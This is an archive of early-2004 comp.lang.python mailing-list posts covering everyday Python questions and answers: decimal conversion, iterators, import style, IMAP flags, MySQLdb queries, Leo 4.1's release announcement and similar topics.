      my_list.append(1)
  
It's generally best to avoid eval if you don't need it.  And some tips-

1. Don't use "list" as a variable name.  It's a builtin type!

2. Iterate over objects in lists directly, not with an index, unless you
   actually need the index for something.   Example,
      for obj in obj_list:
         print obj
      
      instead of
  
      for i in range(len(obj_list)):
          print obj_list[i]

3. Don't use the same variable name "index" for both for loops.

4. String formatters!   
    "list%s = my_list" % index 
        is more readable than
    "list" + str(index) + " = my_list"


From jepler at unpythonic.net  Fri Feb  6 14:50:08 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Fri, 6 Feb 2004 13:50:08 -0600
Subject: PEP 327: Decimal Data Type
In-Reply-To: <c00o03$urd$0@216.39.172.122>
References: <mailman.1036.1075467073.12720.python-list@python.org>
	<6ltk10h30riel0lghd18t5unjco2g26spi@4ax.com>
	<bvtj8j$f8j$1@panix2.panix.com> <c00o03$urd$0@216.39.172.122>
Message-ID: <20040206195008.GE1330@unpythonic.net>

> On 5 Feb 2004 09:16:51 -0500, aahz at pythoncraft.com (Aahz) wrote:
> >The problem lies precisely in that representation.  For starters, a
> >binary integer is O(n^2) for conversion to decimal printing.  Then

On Fri, Feb 06, 2004 at 06:56:03PM +0000, Bengt Richter wrote:
> Please clarify. What is your "n" in that?

"n" is the number of digits in the number, in this case.

A standard way to convert to base 10 looks like this:
    def base10(i):
        digits = []
        while i:
            i, b = divmod(i, 10)
            digits.append(b)
        digits.reverse()
        return digits
Each divmod() takes from O(n) down to O(1) (O(log i) for each successive
value of i), and the loop runs n times (i is shortened by one digit each
time).  This is a typical n^2 algorithm, much like bubble sort where the
outer loop runs n times and an inner loop runs 1-to-n times.

Jeff



From rmb25612 at yahoo.com  Sun Feb  1 04:47:42 2004
From: rmb25612 at yahoo.com (Richard James)
Date: 1 Feb 2004 01:47:42 -0800
Subject: wxPython documentation
References: <401c25a3$0$11357$636a55ce@news.free.fr>
Message-ID: <2c60f0e0.0402010147.e225e51@posting.google.com>

"Olivier" <olivier.marechal at laposte.net> wrote in message news:<401c25a3$0$11357$636a55ce at news.free.fr>...
> Where could I find a good documentation about wxPython (a documentation
> which is not for C++ !!!)
> 
> Olivier

If C++ docs are "easy" to convert in your head to Python.
It does help if YOU KNOW how to program C++ first.
So much for learning Python as a first computer language!
And if you have to learn C++ first, then why do you need Python?

Why do all programmers seem to think good documention is optional?
Or an exercise left to the reader?

Documentation quality tells a lot about the programmer.
If a programmer can't communicate to his users how his program works.
It is a warning sign that the program has not been fully designed, but
hacked together haphazardly.

And why would you even want to try and use poorly designed software?

Say, like on the Spirit Mars Rover.

-- Richard


From theller at python.net  Mon Feb  9 05:31:03 2004
From: theller at python.net (Thomas Heller)
Date: Mon, 09 Feb 2004 11:31:03 +0100
Subject: Defining *class* methods on C code
References: <hdy59tu8.fsf@python.net> <m3znbw4fjb.fsf@pc150.maths.bris.ac.uk>
	<isik6x7h.fsf@python.net> <m3n07w43cw.fsf@pc150.maths.bris.ac.uk>
	<3c9n6hdz.fsf@python.net> <m3isij3rjb.fsf@pc150.maths.bris.ac.uk>
Message-ID: <wu6wtuhk.fsf@python.net>

Michael Hudson <mwh at python.net> writes:

> Thomas Heller <theller at python.net> writes:
>
>> >> 	if (somecondition) {
>> >> 		PyObject *func;
>> >> 		PyObject *meth;
>> >> 		PyMethodDef *ml = my_methods;
>> >> 
>> >> 		for (; ml->ml_name; ++ml) {
>> >> 			func = PyCFunction_New(ml, NULL);
>> >> 			if (!func)
>> >> 				return NULL;
>> >> 			meth = PyClassMethod_New(func);
>> >
>> > How about "meth = PyDescr_NewClassMethod(result, ml);" here?
>> >
>> 
>> Yes, that works.  But it's not in Python 2.2, which is required ;-(
>
> Arghl.  I guess you can just steal the relavent code... wasn't it your
> patch in the first place that implemented all this?

No, it was my feature request. IIRC, it was implemented by Fred Drake.

Thomas


From martin at v.loewis.de  Wed Feb 18 17:44:53 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 18 Feb 2004 23:44:53 +0100
Subject: doc.toxml() gives ASCII encoding error
In-Reply-To: <545cb8c2.0402181428.5e0487fd@posting.google.com>
References: <545cb8c2.0402181428.5e0487fd@posting.google.com>
Message-ID: <c10pt1$cr$07$2@news.t-online.com>

Jim Hefferon wrote:

> I'm simply lost; can anyone tell me what (no doubt clueless) thing
> that I am
> doing wrong? 

You are not doing anything wrong; it's a bug. Try Python 2.3, or
try PyXML.

Regards,
Martin



From Holger.Joukl at LBBW.de  Thu Feb 26 04:36:17 2004
From: Holger.Joukl at LBBW.de (Holger Joukl)
Date: Thu, 26 Feb 2004 10:36:17 +0100
Subject: Antwort: Re: Some language proposals. ['LBBW': checked]
Message-ID: <OF4D341E74.06E9C389-ONC1256E46.00343710-C1256E46.0034B9EC@lbbw.sko.de>


> Consider the following program:
>
>
> class a:
>          pass
>
> def func():
>          pass
>
> lst = [1, 2, 3, "a", "b", "c", object(), lambda x:x ]
>
> for x in lst:
>          a.b = x
>          assert a.b is x, "What???? %s"% x
>          print "Okay", x
>
> Frankly I think it is unpythonic that a second after assignment to a.b
> the thing I get back is different than the thing I put in.

I do wish you'd run your examples through a Python interpreter before
posting them. The little bugs you include, really interfere with
trying to understand what your point is.

Well, there is no bug at all, as far as I can see. Runs in my interpreter.
Cheers
  Holger

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request a hard copy version.






From stardif10 at hotmail.com  Wed Feb 25 05:20:36 2004
From: stardif10 at hotmail.com (Sam)
Date: Wed, 25 Feb 2004 21:20:36 +1100
Subject: Bartok card game
In-Reply-To: <slrnc3lpr5.19b.bignose-hates-spam@rose.localdomain.fake>
References: <403ae161$0$4260$afc38c87@news.optusnet.com.au>
	<slrnc3lpr5.19b.bignose-hates-spam@rose.localdomain.fake>
Message-ID: <403c76e9$0$28871$afc38c87@news.optusnet.com.au>

> Surely there are some restrictions on the rules that can be added;
> otherwise, the first person to win a round could add a rule saying "I
> win" and win the game immediately; or a rule saying "The next person to
> play a card must bark like a dog and give me their house keys".
> 
> Can you give a reference to the restrictions on rules that can be added?
> That would allow a better understanding of the problem to be solved.
> 

Obviously a rule like "I win" would make the game pointless. The idea is 
to have fun in this game, rather than win money, so people wouldn't 
really be motivated to end the game with a crappy rule like "I win". 
"The next person to play a card must bark like a dog (snip the rest)" is 
a pretty good rule though :-P Basically, the best rules are ones that 
will confuse people. If you play out of turn, or ask a question about 
the game (eg "who's turn is it?", "is it my turn?", "What does that card 
mean?" you have to draw a penalty card).

Basically, anything "reasonable" is a valid rule. "Reasonable" isn't 
something the computer will understand very well though. Other than 
that, you can do whatever you want. Certain rules won't apply to a 
version of the game on computer. For instance, there's no point in 
saying "when the 5 of hearts is played, the next player must do the 
hokey pokey", because unless you're playing with a video conference or 
something no one else will be able to see it. So you can safely 
eliminate rules that involve physical actions (like handing over house 
keys etc).

I'm not aware of much documentation on Bartok, but as I said, there 
really isn't much of a limit on the rules. That's what makes it 
interesting to play.

Cheers,
Sam.



From kottalam at cs.ucdavis.edu  Tue Feb  3 00:39:16 2004
From: kottalam at cs.ucdavis.edu (Jey Kottalam)
Date: Mon, 2 Feb 2004 21:39:16 -0800
Subject: Find function names from C
References: <zaCdnSd72anecoPdRVn-jg@comcast.com>
Message-ID: <bvnc7c$p4$1@woodrow.ucdavis.edu>

"Berlin Brown" <bigbinc097_DONT_SPAM at comcast.net> wrote in message
news:zaCdnSd72anecoPdRVn-jg at comcast.com...
> I am parsing a C file and want to find the function names, is this
> python worthy or is Emacs-Lisp better for this.  I have searched for
> some libraries but coming up null.  I just need the function names, no
> args or anything else.  I would probably have to run a regular
> expression pattern looking for int,void,static, etc and then the
> enclosing { }.
>

Look into www.gcc-xml.org or there's an ANSI-C parser at
http://www.lysator.liu.se/c/ANSI-C-grammar-y.html that could easily be
adapted for your needs. (Yes, that's with C and yacc, not python. sorry.)

-Jey Kottalam




From danb_83 at yahoo.com  Tue Feb  3 13:56:12 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 3 Feb 2004 10:56:12 -0800
Subject: index in "double" list
References: <mailman.1154.1075795507.12720.python-list@python.org>
Message-ID: <ad052e5c.0402031056.73c31f12@posting.google.com>

Bo?tjan Jerko <bostjan.jerko at mf.uni-lj.si> wrote in message news:<mailman.1154.1075795507.12720.python-list at python.org>...
> Hello!
> 
> I have a list of lists (e.g. [[1,"a"],[2,"b"],[3,"c"]]) and 
> would like to do index on the first element of the lists.
> Can it be done?

I think you might want to try using dicts.

>>> d = {1: 'a', 2: 'b', 3: 'c'}
>>> d[2]
'b'

If you already have a list of lists, you can convert it to a dict with
the constructor.

>>> a = [[1, "a"], [2, "b"], [3, "c"]]
>>> d = dict(a)


From max at NcOviSsPiAoMntech.com  Fri Feb 20 12:22:03 2004
From: max at NcOviSsPiAoMntech.com (max khesin)
Date: Fri, 20 Feb 2004 17:22:03 GMT
Subject: ANN: Leo 4.1 final
In-Reply-To: <103cd8fp3cbgfb@corp.supernews.com>
References: <103cd8fp3cbgfb@corp.supernews.com>
Message-ID: <%mrZb.161010$cM1.29870499@twister.nyc.rr.com>

Hi Ed, people,
I am aclually trying to set up a Leo-based documentation project right 
now (though I am pretty new to it). Are there any previous case-studies 
on people doing documentation? In particular I am interested in being 
able to embed Leo node links directly in another node's text (for 
automatic HTML generation). I know I can do it through programming (or 
XSLT...brrrr....), but I am really trying avoid re-inventing the wheel 
due to the project's time constraints. Any info would help.

thanks,
max.

Edward K. Ream wrote:

> Leo 4.1 final is now available at
> http://sourceforge.net/projects/leo/
> 
> Leo 4.1 final is the culmination of four months of work. No
> significant bugs have been reported since 4.1 rc4. Several people have
> contributed nifty plugins recently. See leoPlugins.leo for full
> details.
> 
> The highlights version 4.1:
> ---------------------------
> - Leo runs in batch mode when invoked with --script aScriptFile.py
> - Leo supports Unicode characters (e.g. Chinese) in path and file names.
> - @directives and section references are now valid when executing scripts.
> - @ignored and orphan nodes now valid in @file-nosent trees.
> - Script-based find/change commands.
> - Check Outline command.
> - Hoist & DeHoist commands.
> - A new gui-agnostic architecture: useful for batch mode and unit tests.
> - Several new configuration settings.
> - Many new unit tests.
> - A host of bug fixes.
> 
> Quotes of the month
> -------------------
> 
> "I'm a newbie to Leo(a couple of weeks) and I feel addicted to
> programming again...in fact it has resurrected a dead project of mine :)
> The outline has proven most liberating in terms of testing ideas out.
> Thanks a lot!" -- anon
> 
> "Wow, wow, and wow. I just started using Leo about a month ago..Now I
> finally understand how to use clones and I realized that this is
> exactly how I want to organize my information.  Multiple views on my
> data, fully interlinkable just like my thoughts...Thanks for a great
> tool! -- anon
> 
> "I *LIKE* it; I was amazed at how [different the Leo] experience was
> compared to flat-filing. It was almost Forth-like in the way that it
> was possible to work top-down or bottom-up at will (I believe this is
> the key to its strength, btw)." --Tarvin Rhodes
> 
> What is Leo?
> ------------
> - A programmer's editor, an outlining editor and a flexible browser.
> - A literate programming tool, compatible with noweb and CWEB.
> - A data organizer and project manager. Leo provides multiple views
>    of projects within a single outline.
> - Fully scriptable using Python. Leo saves its files in XML format.
> - Portable. leo.py is 100% pure Python.
> - Open Software, distributed under the Python License.
> 
> Leo requires Python 2.1 or above and tcl/tk 8.3 or above.
> Leo works on Linux, Windows and MacOs X.
> 
> Links:
> ------
> Leo:      http://webpages.charter.net/edreamleo/front.html
> Home:     http://sourceforge.net/projects/leo/
> Download: http://sourceforge.net/project/showfiles.php?group_id=3458
> CVS:      http://sourceforge.net/cvs/?group_id=3458
> Wiki:     http://leo.hd1.org/
> 
> Edward K. Ream
> February 20, 2004
> 
> --------------------------------------------------------------------
> Edward K. Ream   email:  edreamleo at charter.net
> Leo: Literate Editor with Outlines
> Leo: http://webpages.charter.net/edreamleo/front.html
> --------------------------------------------------------------------
> 
> 


From richardshea at fastmail.fm  Mon Feb 23 04:52:41 2004
From: richardshea at fastmail.fm (Richard Shea)
Date: 23 Feb 2004 01:52:41 -0800
Subject: MySQLDB - generating "...not in (1,2,3)" from Python list ?
Message-ID: <282f826a.0402230152.253315ca@posting.google.com>

Hi - I've writing a Python script which has a query which looks like
this ...

select * from T where C1 not in (1,2,3)

... C1 is a numeric column so elements of (1,2,3) must not be quoted
like this ('1','2','3') and of course they must not be quoted like
this ('1,2,3').

I'm using 'scanf' style substitution into the SQL, eg ...

cursor.execute("select * from T where C1 not in (%s)",params).


My problem is that the values that need to appear in the bracket are
held in a Python list. At first I thought this was great - just use
'join' with ',' as the second arg but of course join is expecting a
list of strings and if you str() the contents of the list you end up
with ('1','2','3').

Then I tried rolling my own string concatenation but then you end up
with a string or ('1,2,3') which the SQL doesn't like.

So in summary - would anyone be kind enough to tell me, given that I'm
using scanf style SQL subbing, how I can substitute in a comma
delimited list of integers without quotes being put around things to
upset the SQL ?

thanks

richard shea.


From shalabh at cafepy.com  Sat Feb 21 22:38:57 2004
From: shalabh at cafepy.com (Shalabh Chaturvedi)
Date: Sun, 22 Feb 2004 03:38:57 GMT
Subject: How to overide "for line in file:"
References: <tisf301qf76c8lh0jkq9086gpqoep1bb1u@4ax.com>
Message-ID: <lvVZb.43854$5W3.38603@nwrddc02.gnilink.net>


David Morgenthaler wrote:

> How does one overide the iterator implied by the construct "for line
> in file:"?
> 

'for' uses __iter__().

Subclass file and redefine __iter__(self). It should return an object that
has the next() method which returns the next item, or raises StopIteration
if finished. Returning self from __iter__() is ok (then you can put the
next() in the same class). 

An easier alternative is to make __iter__() a generator function (so calling
it automatically returns a 'generator' object, which has next() on it, and
also raises StopIteration when done).

HTH,
Shalabh


From xml-admin at gnome.org  Sat Feb  7 08:22:02 2004
From: xml-admin at gnome.org (xml-admin at gnome.org)
Date: Sat, 07 Feb 2004 08:22:02 -0500
Subject: Your message to xml awaits moderator approval
Message-ID: <20040207132202.15858.40270.Mailman@moniker.gnome.org>

Your mail to 'xml' with the subject

    Server Report

Is being held until the list moderator can review it for approval.

The reason it is being held:

    Post by non-member to a members-only list

Either the message will get posted to the list, or you will receive
notification of the moderator's decision.



From peter at engcorp.com  Thu Feb 19 17:59:14 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 19 Feb 2004 17:59:14 -0500
Subject: Why import only at module level?
References: <7xoervxwxt.fsf@ruckus.brouhaha.com>
	<4034D771.9AE85ECB@engcorp.com>
	<mailman.80.1077217602.27104.python-list@python.org>
Message-ID: <40353FC2.2A0C604A@engcorp.com>

Fran?ois Pinard wrote:
> 
> [Peter Hansen]
> > Maintainability.  It's also well understood that there are potential
> > benefits to the approach you show above, late-loading of code being
> > one of them (which can improve startup time for certain apps), but
> > as maintainability should almost always be the primary consideration,
> > the standard advice is to put stuff together at the top where it's
> > clear to maintainers which modules are used in the code (in other
> > words, what a given module is coupled to).
> 
> I never understood this "standard advice", nor how it is related to
> maintainability.  What makes a module significantly more maintainable
> by merely grouping `import' statements at the beginning?  What is it so
> crucial to know that the `re' module is used, or not, in a program?  It
> looks like a tiny detail to me.

"re" is not a good example of the above, though there might also be
very good but different reasons to import re at the top.  Often it 
is used in several different places, and that would mean duplication
(and a tiny waste of time) if you always imported it at the beginning
of each method, or even just before it was used.

A better example is application-specific modules.  "Hiding" those down
in the individual methods that use them makes it much more difficult
to see the coupling between modules.  

More coupling means less maintainability.

Second reason: if you put your import, which you use in only one place,
locally in the method where it's used, then modify the code so that
another method also uses the module, you will end up with two imports.

More duplication means less maintainability.

> If within a `def', I will often use a module which I do not use
> elsewhere in a program, there is no reason to make it global.  Global
> variables should be avoided on the average, and moreover, Python is
> faster at accessing a local than a global.

As you probably know, I almost never put performance anywhere near the
level I put other considerations, so if we still differ on this matter,
perhaps it's because of different values.

-Peter


From bignose-hates-spam at and-benfinney-does-too.id.au  Thu Feb 19 15:51:05 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 20 Feb 2004 07:41:05 +1050
Subject: truly global variables
References: <f046efac.0402190047.ee56994@posting.google.com>
	<4034D6E0.457BF2D6@engcorp.com>
Message-ID: <slrnc3a9j9.16l.bignose-hates-spam@rose.localdomain.fake>

On Thu, 19 Feb 2004 10:31:44 -0500, Peter Hansen wrote:
> Provided you're willing to have a dot in the name of the variable,

Variable names don't have dots in them.  A dot separates the variable
name from its namespace.

-- 
 \      "God forbid that any book should be banned. The practice is as |
  `\               indefensible as infanticide."  -- Dame Rebecca West |
_o__)                                                                  |
Ben Finney <http://bignose.squidly.org/>


From kylotan at hotmail.com  Sat Feb  7 17:19:26 2004
From: kylotan at hotmail.com (Kylotan)
Date: 7 Feb 2004 14:19:26 -0800
Subject: Warnings killing my performance
References: <153fa67.0402060933.13840e8c@posting.google.com>
	<mailman.1322.1076118385.12720.python-list@python.org>
	<153fa67.0402070445.77121b2e@posting.google.com>
	<cFQJAls/KbZC089yn@the-wire.com>
Message-ID: <153fa67.0402071419.3c34e0ab@posting.google.com>

mwilson at the-wire.com (Mel Wilson) wrote in message news:<cFQJAls/KbZC089yn at the-wire.com>...

>    I notice that you're effectively cubing x, so you could
> only keep 10 bits of it and be sure of avoiding 32-bit
> overflow.

I'm not sure why you say that. If I feed '10' into the formula in
question I'll get something much larger than 1000 out!

>  Maybe a linear pseudo-random formula would save
> some trouble.  But it appears that random.randint also
> generates invisible warnings.

Well, I changed the whole function to the following:

    rnd.seed(x)
    return rnd.uniform(-1.0, 1.0)

Where rnd is an instance of Random(). This is a little quicker, and
doesn't throw any warnings (visible or otherwise). I just have to hope
the random.uniform implementation doesn't change any time soon.

I would also hope that someone will find a way to remove that hidden
warning from randint because it seems to be an unnecessary performance
hit on what is otherwise a fairly fundamental function.

> The warnings go away with
>         x = long(x << 13) ^ x

So do the results I'm trying to get ;)

-- 
Ben Sizer


From dave at pythonapocrypha.com  Wed Feb 25 08:57:21 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Wed, 25 Feb 2004 06:57:21 -0700
Subject: How does Ruby compare to Python?? How good is DESIGN of
	Rubycompared to Python?
References: <bf23f78f.0402241443.678bf6c8@posting.google.com><c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>
	<slrnc3ob0q.i6n.joe@gate.notcharles.ca>
Message-ID: <00f801c3fba7$4a06dda0$6401fea9@YODA>

Joe wrote:
> > * In Python, functions are first-class, and
> > methods are implemented in terms of functions. In Ruby,
> > methods are the fundamental concept, and there are no
> > first-class functions. The result is that Python lets
> > you obtain a bound method from an object and use it like
> > any other function. You can't do that in Ruby. You can
> > get a method object in Ruby, but you can't call it using
> > normal calling syntax.
>
> I don't see the distinction.  "normal calling syntax" in ruby involves
> an object, so "unbound function" isn't a meaningful concept.  I mean, if
> you get a method the begins with the self parameter, you still need an
> object to call it, right?

No - that's the difference between a bound and unbound method (see below).

> Even if you're calling it as "foo(obj,
> params)" instead of "obj.foo(params)".  I don't see what the ability to
> use the other syntax gets you, except the ability to pass functions
> around independantly of objects, which I'm pretty sure you can do with
> methods in Ruby anyway.

As for whether or not Ruby supports this, I'm in the don't-know-don't-care
camp, but to clarify: a bound method "knows" which object instance it belongs
to. Given:

def someFunc(callback):
  print callback(5,6)

def functionCallback(a, b):
  return a + b

class Foo:
  def methodCallback(self, a, b):
    return a * b

then both these work:

someFunc(functionCallback)
f = Foo()
someFunc(f.methodCallback)

This is pretty darn useful and IMO quite Pythonic: the creator of the function
and the creator of the callback have to agree on only the most minimal set of
details - just those relating to the calling interface - leaving completely
open any implementation details.

-Dave




From cookedm+news at physics.mcmaster.ca  Sat Feb 21 23:07:54 2004
From: cookedm+news at physics.mcmaster.ca (David M. Cooke)
Date: Sat, 21 Feb 2004 23:07:54 -0500
Subject: unitest with python curses app
References: <pan.2004.02.20.14.52.46.212175.11822@sympatico.ca>
	<qnkoertto54.fsf@arbutus.physics.mcmaster.ca>
	<pan.2004.02.21.05.51.54.71123.13398@sympatico.ca>
Message-ID: <qnkhdxju57p.fsf@arbutus.physics.mcmaster.ca>

At some point, Brian <balex at sympatico.ca> wrote:
> On Fri, 20 Feb 2004 16:52:07 -0500, David M. Cooke wrote:
>>> I'm writing a program with curses in python and having a bit of trouble
>>> understanding how to use unittest. So far, I have used testing
>>> successfully -- as long as the report goes to stdout (or does unittest
>>> write to stderr?)
>> 
>> I'm interested: how are you unit testing curses routines? Are you
>> testing just the output routines, or are other non-curses routines being
>> called?
>  
> Unfortunately, only the routines that did not involve the curses module were
> easy to test. Judging from your message, I think you inferred this.
> (Indeed, you seem to have lived it.)

Only recently -- I've been trying to port a DOS-era game written in
Turbo Pascal to run under Unix with ncurses. Debugging is a pain --
nevermind curses, but gdb doesn't work nicely with GNU Pascal.

> However, I did build a dump-to-text feature into an object that wraps
> all curses newwin objects. When <obj>.dumpCells() is called, a text record for
> each cell in the newwin is generated. It looks something like this:
[snip]
> These human readable-records could be used to build test cases for the
> screen outputs. I haven't done it yet, though. I imagine such a test
> comparing the results of a call to .cellDump() to some stored (and
> correct, hopefully) result in a file.

Good idea. You could make a 'screen painter' to mock up what the
screen should be, to make it easier to generate the correct screens.

-- 
|>|\/|<
/--------------------------------------------------------------------------\
|David M. Cooke
|cookedm(at)physics(dot)mcmaster(dot)ca


From dood at dood.com  Thu Feb 26 10:47:49 2004
From: dood at dood.com (Joe F. Blow)
Date: Thu, 26 Feb 2004 07:47:49 -0800
Subject: python newbie having strangeness
Message-ID: <of4s30p4a2nq964bjb0kcb25ocrv5kj2sk@4ax.com>

The program below has been acting very weird. Last night it complained
that I was referencing X in getline() before defining it. Of course I
wasn't, as X is a global.

This morning I ran the exact same code again and now it says,
"NameError: name 'convert' is not defined". HUH????? Of course it's
defined!

What am I doing wrong? Any ideas? I'm using pythonwin and python2.3 on
windoze xp.

----------------------------------------------------------------------------------

x=1
count=binlist=0

#get s19 file in list named "line"
inp=file("c:\\download\\electron\\68hc11\\a code\\tankbot2.s19","r")
line = inp.read()
inp.close()

if line[x]=="0":            #is command char a "0"?
    dig1=line[x+1]          #yes, get line length
    dig2=line[x+2]
    a=convert(dig1,dig2)
    x=x+((a*2)+5)           #point to command char of next line

if line[x]=="1":
    getline()
print binlist

def getline():
    global count
    global x
    global line
    global binlist
    dig1=line[x+1]
    dig2=line[x+2]
    a=convert(dig1,dig2)
    x+=2
    e=x
    for e in range(e,e+a,2):
        dig1=line[e+1]
        dig2=line[e+2]
        binlist[count]=convert(dig1,dig2)
        count+=1

#convert ascii hex digits x & y to an integer
def convert(x,y):
    a=int(x)
    b=int(y)
    a=a<<4
    a=a+b
    return(a)




From Scott.Daniels at Acm.Org  Fri Feb 20 16:40:26 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Fri, 20 Feb 2004 13:40:26 -0800
Subject: Python Productivity Gain?
In-Reply-To: <mailman.16.1077122875.27104.python-list@python.org>
References: <mailman.16.1077122875.27104.python-list@python.org>
Message-ID: <403687e1$1@nntp0.pdx.net>

Robert Brewer wrote:

> Gerrit wrote:
> ... 17 to go.
Actually I've seen two 17's, so I'll skip 16.

Machine, Assembly(>8), Fortran(I,II,IV,V), Snobol, Lisp,
Algol, Simscript, SAIL, Interlisp, Smalltalk, C, YACC/LEX/FLEX,
SLOE (microcode), Pascal, Class-C, Oz, C++, LML, Scheme, SQL,
Python.

15 to go.

-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From norton at contentguard.com  Mon Feb  9 00:15:26 2004
From: norton at contentguard.com (norton at contentguard.com)
Date: Sun, 8 Feb 2004 21:15:26 -0800
Subject: Symantec AVF detected a repairable/quarantined virus in a message
	you sent
Message-ID: <04df01c3eecb$b9fbbb00$8a541304@CONTENTGUARD.COM>

Subject of the message: Error
Recipient of the message: TJ Pannu






From peter at engcorp.com  Thu Feb 12 17:15:22 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 12 Feb 2004 17:15:22 -0500
Subject: python vs. perl
References: <20040212170911.22719.00001914@mb-m18.aol.com>
Message-ID: <402BFAFA.70A476F5@engcorp.com>

Patio87 wrote:
> 
>     Hi I was wondering which was better for doing stuff like, GUI programs, and
> gaming, and maybe even network stuff for games? I know python and am learning
> c++, but because of ease of use I want to know which is better, because I might
> want to drop python and go to perl. Unless Im swayed to stay with
> python......AM I missing out on anything by not knowing perl?

Use Google to find what must be dozens of comparisons that have already been
written on this topic.  Try keyword combinations like "python perl comparison"
and you'll get more opinions than you're likely to want to read.

-Peter


From gerrit at nl.linux.org  Sun Feb  8 12:41:38 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Sun, 8 Feb 2004 18:41:38 +0100
Subject: Overriding the __new__ method
In-Reply-To: <87n07to5cw.fsf@gmx.net>
References: <87vfmho7yw.fsf@gmx.net> <c05p4h$asl$03$1@news.t-online.com>
	<87n07to5cw.fsf@gmx.net>
Message-ID: <20040208174138.GB23620@nl.linux.org>

Christoph Groth wrote:
> According to my understanding, if float type's __init__ ignores its
> arguments then the value of `arg' above should be ignored.  Instead,
> the constructed object has the value 12.  Where is this 12 passed to
> the object being constructed?

To __new__.

>>> class Test(object):
...  def __new__(cls):
...   print "calling new"
...   return object.__new__(cls)
...  def __init__(self):
...   print "calling init"
...
>>> Test()
calling new
calling init
<__main__.Test object at 0xbf491f0c>

...they are both called, but it is constructed in __new__. __new__
returns the object, while __init__ returns nothing. __init__ is actually
called after initialization, because the initialization happens when
object.__new__ is called. Because it is an immutable type, it cannot be
changed after it has been initialized, so __init__ can't thange it.

Gerrit.

-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/
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From vincent_delft at yahoo.com  Wed Feb 25 10:56:58 2004
From: vincent_delft at yahoo.com (vincent delft)
Date: 25 Feb 2004 07:56:58 -0800
Subject: print in multithreaded environement ???
Message-ID: <5c184570.0402250756.1715ee17@posting.google.com>

What will be the result if I have several threads that print to
different buffers ?

I have several threads, each one execute different python code. 
Just before the "exec" of this small python code, I redirect the
output to a "buffer".
Each thread has his own buffer.
What will be the result when they print at the same time ?

Does sys.stdout is a seperate instance for each thread ?
Does sys.stdout is shared between all of them ?

Does any one has experience with that ?

Thanks.


From crothe at zes.com  Tue Feb 10 07:31:01 2004
From: crothe at zes.com (Christian Rothe)
Date: 10 Feb 2004 04:31:01 -0800
Subject: setting email FLAGs in IMAP4 box
Message-ID: <fa63368c.0402100431.411c31d4@posting.google.com>

Hello Everybody, I need your help,

I'm trying to write a simple forwarding script with python2.2. I want
to forward unseen emails to another box after two days. This script
runs every morning by a cron ob. Everything works fine, but I cannot
set a flag for the forwarded emails. Best would be to create an own
flag to identify mails, that are forwarded a day before. I don't know
how to create an own flag. If I try to use an existing flag like
'UNSEEN', 'Deleted'.. or so, I use the commands:

     imap = imaplib.IMAP4("hostname")
     imap.login("name","passwd")
     imap.select("INBOX",1)
     imap.store(1, 'FLAGS', '(\Deleted)')

, but it doesn't work. I always get the message

     ('NO', ['Permission denied'])

Other commands are working fine, e.g.

     >>> imap.fetch(1,"INTERNALDATE")
     ('OK', ['1 (INTERNALDATE "29-Jan-2004 11:43:41 +0100")'])

How can I get 'Permissions' to change flags?? Does anybody know??

best regards
Christian Rothe


From roberto at dealmeida.net  Tue Feb  3 08:01:09 2004
From: roberto at dealmeida.net (Roberto Antonio Ferreira De Almeida)
Date: Tue, 03 Feb 2004 13:01:09 +0000
Subject: Smarter way of doing this?
In-Reply-To: <401f8ba1$0$212$edfadb0f@dread12.news.tele.dk>
References: <401e4d57$0$295$edfadb0f@dread12.news.tele.dk>
	<10c662fe.0402030326.5a6b87bc@posting.google.com>
	<401f8ba1$0$212$edfadb0f@dread12.news.tele.dk>
Message-ID: <bvo62r$utmnc$1@ID-207581.news.uni-berlin.de>

Max M wrote:
> Roberto A. F. De Almeida wrote:
> 
>> In one line:
>>
>> v = ['item 1','item 2','item 3',]
>> p = [0.66, 0.33, 0.16]
>>
>> [v[i] for i,j in enumerate(p) if sum(p[:i]) > 
>> (random.random()*sum(p))][0]
> 
> uh, that's hard to read :-)

Yes, I know. I just wanted to see if I could do it in one line. :)

But it just calculates the cumulative probability, and gets the first 
one which passes a random value between 0 and the sum of the probabilities.

> But doesn't random.random()*sum(p) get executed for each probability in p?

I actually don't know. You could call random.random() out of the list 
comprehension... :)

R.


From aahz at pythoncraft.com  Sun Feb  1 03:05:38 2004
From: aahz at pythoncraft.com (Aahz)
Date: 1 Feb 2004 03:05:38 -0500
Subject: OT: why do web BBS's and blogs get so slow?
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
Message-ID: <bvic0i$bbt$1@panix1.panix.com>

In article <7xbrojk9rk.fsf_-_ at ruckus.brouhaha.com>,
Paul Rubin  <http://phr.cx at NOSPAM.invalid> wrote:
>
>Lots of times, when a blog (that supports user comments) or a web BBS
>gets heavily loaded, it slows down horribly, even when it's hosted at
>an ISP on a fast computer with plenty of net bandwidth.  I'm wondering
>what those programs are doing, that makes them bog down so badly.
>Anyone know what the main bottlenecks are?  I'm just imagining them
>doing a bunch of really dumb things.

Much as I'm loathe to mention it, you might might also want to take a
look at LiveJournal to see how they do it.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From FBatista at uniFON.com.ar  Wed Feb  4 16:30:13 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Wed, 4 Feb 2004 18:30:13 -0300 
Subject: Newbie -- bitwise shifts
Message-ID: <A128D751272CD411BC9200508BC2194D033835A7@escpl.tcp.com.ar>

gerald.britton at allstream.com wrote:

#- 15 is binary 1111
#- if I shift this left 2 bits I get 11

No.

If you shift 1111 left 2 positions, you get 111100.

.	Facundo



From jcarlson at nospam.uci.edu  Fri Feb 13 19:54:37 2004
